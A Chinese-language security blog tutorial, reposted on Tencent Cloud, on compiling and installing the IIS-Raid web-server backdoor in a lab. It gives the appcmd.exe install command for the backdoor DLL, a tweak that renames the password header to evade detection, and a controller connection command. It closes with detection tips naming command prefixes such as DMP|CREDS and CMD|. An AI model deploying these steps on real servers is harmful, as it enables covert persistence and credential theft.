前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >IIS-Raid后门构建与使用

IIS-Raid后门构建与使用

作者头像
Al1ex
发布2022-08-29 18:02:55
1K0
发布2022-08-29 18:02:55
举报
文章被收录于专栏:网络安全攻防
文章前言

IIS Raid是本机的一个IIS模块,通过滥用IIS的可扩展性可以实现一个Web服务器后门并执行攻击者定义的自定义操作,本篇文章主要介绍IIS-Raid的构建和使用过程

测试环境

目标主机:Windows Server 2012 64位 Standard

目标版本:IIS 8.5

项目构建

Step 1:首下载项目源码到本地

https://github.com/0x09AL/IIS-Raid

Step 2:编辑/module/Functions.h文件并自定义密码字段,下面的SIMPLEPASS即为自定义的密码值,连接后门的时候在Http Header中定义,但是这里原版定义密码的HTTP头字段始终是一个值(X-Password),这无疑是一个典型的特征了,所以这里得实现自定义这个字段值,在以上定义代码中添加一个常量COM_PASSWD,如下代码:

Step 3:之后更改/module/HttpFactory.cpp 39行代码替换掉X-Password值为自定义的常量,如下代码所示:

Step 4:之后使用VS进行编译处理

Step 5:最终获得dll文件

后门部署

之后在命令行下使用appcmd.exe命令安装

代码语言:javascript
复制
#格式说明
C:\Windows\system32\inetsrv\APPCMD.EXE install module /name:Module Name /image:"%windir%\System32\inetsrv\IIS-Backdoor.dll" /add:true
    
#执行示例
C:\Windows\system32\inetsrv\APPCMD.EXE install module /name:IIS_Backdoor /image:"%windir%\System32\inetsrv\IIS-Backdoor.dll" /add:true

再次刷新模块可以看到IIS_backdoor

后门使用

首先修改项目中的iis_controller.py文件,添加个—headpass的命令行参数:

代码语言:javascript
复制
parser.add_argument('--headpass', type=str, default="X-Password", help="Header to user for password.")

之后把自定义的HTT头字段名加入到HttpHeader中

连接成功入后如下图所示:

代码语言:javascript
复制
python3 iis_controller.py --url http://192.168.17.190/ --headpass COM_PASSWD --password admin@liuwei
演示视频
防御措施

下面是检测通信流量或模块部署的一些方法:

  • 检测命令行中appcmd.exe的执行
  • 如果可以拦截到WEB服务器的流量,请检查是否有任何base64编码的标头数据以下列任何字符串开头
代码语言:javascript
复制
PIN|G
DMP|CREDS
CMD|
INJ|

参考链接

https://www.freebuf.com/sectool/231973.html

https://www.youtube.com/watch?v=jbxEWOXecuU

https://www.mdsec.co.uk/2020/02/iis-raid-backdooring-iis-using-native-modules/

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2022-06-22,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 七芒星实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 文章前言
  • 测试环境
  • 项目构建
  • 后门部署
  • 后门使用
  • 演示视频
  • 防御措施
相关产品与服务
云服务器
云服务器(Cloud Virtual Machine,CVM)提供安全可靠的弹性计算服务。 您可以实时扩展或缩减计算资源,适应变化的业务需求,并只需按实际使用的资源计费。使用 CVM 可以极大降低您的软硬件采购成本,简化 IT 运维工作。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档